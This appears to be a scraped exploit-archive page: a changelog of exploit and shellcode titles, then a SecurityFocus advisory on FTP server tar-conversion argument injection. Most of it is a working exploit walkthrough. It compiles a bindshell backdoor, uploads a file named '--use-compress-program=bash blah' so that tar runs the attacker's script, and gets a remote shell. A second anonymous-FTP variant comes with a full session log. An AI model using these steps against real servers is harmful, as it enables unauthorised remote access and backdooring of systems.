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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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3.8 KiB
Text
101 lines
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3.8 KiB
Text
source: https://www.securityfocus.com/bid/2240/info
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Some FTP servers provide a "conversion" service that pipes a requested file through a program, for example a decompression utility such as "tar", before it is passed to the remote user. Under some configurations where this is enabled a remote user can pass a filename beginning with a minus sign to FTP, which will pass this as an argument to the compression/archiver program (where it will be erroneously treated as a command line argument other than a filename). It may be possible to exploit this and execute commands on a remote machine. An example of this exploits the "--use-compress-program PROG" parameter passed to tar; if PROG refers to a program that is accessible to the FTP server, it will be executed. The remote user must have access to a writeable directory in order to exploit this. See exploit for details.
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With a valid FTP account only the server, the difficulty goes right down. You also have the added
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benefit of not being stuck in a chroot() environment at the end. Local exploit time.
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The exploit goes along much the same lines as the anonymous FTP exploit does:
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Create a backdoor, using bindshell from our previous example:
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$ gcc bindshell.c -o b -static
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If you can perform a SITE CHMOD (default for normal non-anon users on wu-ftpd), then you can
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use the following script example. Create a script to exec the desired commands:
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$ cat > blah
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#!/bin/bash
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./b &
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^D
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Now create empty file "--use-compress-program=bash blah"
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$ > "--use-compress-program=bash blah"
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FTP to your target, login with your username/password. Upload your 3 files:
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ftp> put b
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ftp> put blah
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ftp> put "--use-compress-program=bash blah"
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Do a SITE CHMOD for b and blah:
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ftp> quote SITE CHMOD 0755 b
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ftp> quote SITE CHMOD 0755 blah
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Now get your file:
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ftp> get "--use-compress-program=bash blah".tar
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Thats all there is to it. You now should have a shell on whatever port you specified.
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---
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An alternative exploit that bypasses the need to use SITE CHMOD has been suggested by SecuriTeam.com (this can be accomplished over anonymous FTP):
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"This vulnerability is simple to exploit. However to exploit it you must be able to upload/download files. (e.g. a mode 0777 incoming directory).
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For the purposes of this exploit you also need a shell in the remote path. For example, a RedHat machine with the anonftp package installed has exactly what you need.
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First, assuming you are running the same platform as your target, statically compile some sort of backdoor program. A simple example is bindshell.c.
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$ gcc bindshell.c -o b -static
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Then, tar this up. You will need to tar it up because the remote side will rarely have the ability to change permissions at this stage.
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(SITE CHMOD rarely works on anonymous ftp sites)
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$ tar -cf b.tar b
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Create a script of things you want to do on the remote site, this will be interpreted by bash or sh.
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$ cat > blah
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#
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/bin/tar -xf b.tar
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./b
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^D
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Leave the first line as a comment.
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Create a empty file called "--use-compress-program=sh blah"
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$ > "--use-compress-program=sh blah"
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Connect to your target ftp server.
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$ ftp localhost
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Connected to localhost.
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220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21 10:10:10 EDT 2000) ready.
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Name (localhost:suid): ftp
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331 Guest login ok, send your complete e-mail address as password.
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Password:
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230 Guest login ok, access restrictions apply.
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Remote system type is UNIX.
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Using binary mode to transfer files.
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ftp>
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Change to your world writeable directory:
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ftp> cd /incoming
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Store your files:
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ftp> put blah
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ftp> put b.tar
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ftp> put "--use-compress-program=sh blah"
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Now using TAR conversion, get your "--use-compress-program=sh blah" file.
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ftp> get "--use-compress-program=sh blah".tar
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It should open a connection then freeze. Now telnet to your bindshell port." |